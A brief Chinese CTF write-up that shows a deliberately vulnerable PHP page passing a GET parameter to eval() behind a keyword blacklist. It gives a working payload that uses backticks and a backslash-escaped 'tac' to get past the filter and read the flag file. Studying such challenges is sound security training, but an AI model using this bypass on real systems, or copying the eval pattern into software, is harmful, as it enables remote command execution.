代码
居然都不输入参数,可恶!!!!!!!!!
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
过滤的有点多
但是 “反引号” 在PHP中会被当作SHELL命令执行
paylaod
http://node2.anna.nssctf.cn:28867/?code=printf(`ta\c /fffffffffflagafag`);
print —— 输出字符串
printf —— 返回值为输出字符串的长度,按照format格式参数直接输出字符串
sprintf —— 返回值为按照format格式参数格式化的字符串,不直接输出结果